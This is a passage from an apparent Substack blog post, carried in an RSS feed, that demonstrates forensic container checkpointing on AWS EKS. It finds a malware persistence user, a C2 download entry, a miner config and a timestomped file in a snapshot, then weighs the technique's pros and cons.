stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Step 3:</strong> Now the files that changed in the container can be studied. We find the <code>sysadmin_backup</code> user created by the malware script for maintaining <strong>persistence</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9DUY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9DUY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 424w, https://substackcdn.com/image/fetch/$s_!9DUY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 848w, https://substackcdn.com/image/fetch/$s_!9DUY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 1272w, https://substackcdn.com/image/fetch/$s_!9DUY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9DUY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png" width="1456" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:703539,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9DUY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 424w, https://substackcdn.com/image/fetch/$s_!9DUY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 848w, https://substackcdn.com/image/fetch/$s_!9DUY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 1272w, https://substackcdn.com/image/fetch/$s_!9DUY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b210a3d-7391-4956-b22c-5a3def9530d9_2410x1272.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Step 4:</strong> We can also look at <code>.bash_history</code> file. There is an interesting entry for connection to C2 server to download a second stage payload.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7RAJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7RAJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 424w, https://substackcdn.com/image/fetch/$s_!7RAJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 848w, https://substackcdn.com/image/fetch/$s_!7RAJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 1272w, https://substackcdn.com/image/fetch/$s_!7RAJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7RAJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png" width="1456" height="313" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:313,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:239277,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7RAJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 424w, https://substackcdn.com/image/fetch/$s_!7RAJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 848w, https://substackcdn.com/image/fetch/$s_!7RAJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 1272w, https://substackcdn.com/image/fetch/$s_!7RAJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdb403e6-fb0b-41ce-8c22-6de6fc7af357_2400x516.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Step 5:</strong> We also find the miner config file and the file that was timestomped by the malware script as captured during snapshot.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yOGB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yOGB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 424w, https://substackcdn.com/image/fetch/$s_!yOGB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 848w, https://substackcdn.com/image/fetch/$s_!yOGB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 1272w, https://substackcdn.com/image/fetch/$s_!yOGB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yOGB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png" width="1456" height="367" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:367,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:311206,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yOGB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 424w, https://substackcdn.com/image/fetch/$s_!yOGB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 848w, https://substackcdn.com/image/fetch/$s_!yOGB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 1272w, https://substackcdn.com/image/fetch/$s_!yOGB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f178649-cc54-46eb-a5e3-7b1b2c867cd6_2410x608.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This proves that <strong>Forensic Container Checkpointing</strong> works on EKS for incident response.</p><div><hr></div><h2>Reality Check: Pros &amp; Cons</h2><p>This technique is powerful, but it is not magic. You must weigh the operational risks.</p><h3>The Good (Pros)</h3><ul><li><p><strong>Agentless:</strong> You do not need to install heavy agents (CrowdStrike, Datadog) inside the container image. It works from the Node level.</p></li><li><p><strong>Recover Deleted Binaries:</strong> If malware runs and immediately deletes itself from disk, CRIU still captures the executable from memory.</p></li><li><p><strong>Complete Context:</strong> It captures the exact CPU state (registers), allowing you to see exactly what instructions were executing during the snapshot.</p></li></ul><h3>The Bad (Cons)</h3><ul><li><p><strong>The "Stun":</strong> To ensure data consistency, the container processes are <strong>paused (frozen)</strong> while memory is written to disk. For a large memory footprint, this can cause a noticeable application lag or timeout.</p></li><li><p><strong>Disk Heavy:</strong> A checkpoint is a full memory dump. If you checkpoint a 4GB Java app, you write 4GB to the node's disk. You can easily fill up the node's ephemeral storage.</p></li><li><p><strong>It is Alpha:</strong> As of Kubernetes 1.30, <code>ContainerCheckpoint</code> is an Alpha feature. It is not enabled by default on EKS and requires the manual workarounds detailed in this guide.</p></li></ul><div><hr></div><h2>Final Thoughts</h2><p>Forensics on Kubernetes is moving from &#8220;impossible&#8221; to &#8220;just really hard.&#8221; AWS EKS doesn&#8217;t make it easy by default, but with a custom Launch Template and a bit of manual API manipulation, you can capture full process memory without installing heavyweight third-party agents.</p><p><strong>Just remember:</strong> The API server is not your friend here. You have to get your hands dirty on the nodes.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KHrO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KHrO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 424w, https://substackcdn.com/image/fetch/$s_!KHrO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 848w, https://substackcdn.com/image/fetch/$s_!KHrO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 1272w, https://substackcdn.com/image/fetch/$s_!KHrO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KHrO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png" width="1" height="1" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1,&quot;width&quot;:1,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3299,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KHrO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 424w, https://substackcdn.com/image/fetch/$s_!KHrO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 848w, https://substackcdn.com/image/fetch/$s_!KHrO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 1272w, https://substackcdn.com/image/fetch/$s_!KHrO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F71c26278-2d46-4d63-b8fd-5f6e67ef409a_1x1.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ciD1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ciD1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 424w, https://substackcdn.com/image/fetch/$s_!ciD1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 848w, https://substackcdn.com/image/fetch/$s_!ciD1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 1272w, https://substackcdn.com/image/fetch/$s_!ciD1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ciD1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png" width="1" height="1" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1,&quot;width&quot;:1,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3299,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://themonty.substack.com/i/186176229?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ciD1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 424w, https://substackcdn.com/image/fetch/$s_!ciD1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 848w, https://substackcdn.com/image/fetch/$s_!ciD1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 1272w, https://substackcdn.com/image/fetch/$s_!ciD1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F751fb07e-b6e2-40ce-bcd0-e524a97c0632_1x1.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p></p><p></p><p></p><p></p>]]></content:encoded></item></channel></rss>